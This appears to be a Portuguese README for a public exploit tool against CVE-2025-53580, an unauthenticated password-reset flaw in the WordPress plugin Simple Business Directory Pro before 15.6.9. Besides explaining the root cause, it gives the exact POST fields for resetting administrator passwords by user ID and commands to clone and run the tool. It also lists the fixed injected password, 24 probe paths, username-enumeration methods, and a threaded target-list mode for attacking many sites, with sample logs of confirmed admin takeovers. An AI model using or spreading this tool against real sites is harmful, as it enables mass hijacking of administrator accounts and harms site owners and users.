
O plugin WordPress Simple Business Directory Pro < 15.6.9 é vulnerável a uma Escalação de Privilégios de alta prioridade.
WordPress Simple Business Directory Pro Plugin < 15.6.9 é vulnerável a uma escalada de privilégios de alta prioridade
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
Causa Raiz:
O plugin expõe um formulário de restauração de senha no frontend (qcpd-restore-pwd) que aceita um qcpd-uid numérico (ID de usuário do WordPress) e um novo valor pass. Nenhuma autenticação, token, nonce ou verificação por e‑mail é aplicada antes da alteração da senha. Qualquer atacante não autenticado pode redefinir a senha do ID de usuário 1 (tipicamente o administrador do site) e de qualquer outro usuário enviando uma única requisição POST, depois autenticar-se com a senha injetada para obter acesso total de administrador.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Descobrir página de restauração SBD │
│ Testar 24 caminhos candidatos → combinar body contendo "sbd"│
│ │
│ 2. Redefinir senhas por ID de usuário │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (depois 2, depois 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerar nomes de usuário │
│ /?author=1..9 → redirecionamento / análise do body │
│ /wp-json/wp/v2/users → campos slug / username │
│ heurística de hostname + fallback "admin" │
│ │
│ 4. Login com senha injetada │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Verificar: cookie wordpress_logged_in presente │
│ │
│ 5. Verificar acesso de admin (método duplo) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / tabela usuários │
│ │
│ 6. Escrever acerto confirmado → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Arquivo de lista de alvos (um host/URL por linha) [list.txt]: list.txt
Threads (sites concorrentes) [3]: 5
Timeout HTTP (segundos) [10]: 10
Arquivo de sucessos [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
Senha injetada para todas as tentativas de redefinição é fixa internamente:
NxploitedNX
IDs de usuário alvo por site:
1,2,3(configurável viaMAX_USER_ID)
list.txthttps://target1.com
target2.com
http://target3.com
A ferramenta verifica 24 caminhos por alvo em busca de uma página cujo body contenha sbd:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
Todo login bem‑sucedido é verificado através de duas verificações independentes antes de ser escrito em disco:
Método 1 — REST API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMADO
Método 2 — Painel:
GET /wp-admin/users.php
→ adminmenu / marcadores da tabela de usuários presentes → ADMIN CONFIRMADO
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · Corrigido na versão 15.6.9
| Campo | Detalhe |
|---|
| CVE | CVE-2025-53580 |
| Plugin | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| Afetado | Todas as versões < 15.6.9 |
| Autenticação | Nenhuma necessária |
| Tipo | Atribuição Incorreta de Privilégio → Redefinição de Senha Não Autenticada |
| CWE | CWE-266 · Atribuição Incorreta de Privilégio |
| Método | Endpoint |
|---|
| Redirecionamento de autor | /?author=1 → /?author=9 |
| REST API | /wp-json/wp/v2/users → slug + username |
| Heurística de hostname | Primeiro label do domínio |
| Fallback codificado | admin sempre incluído |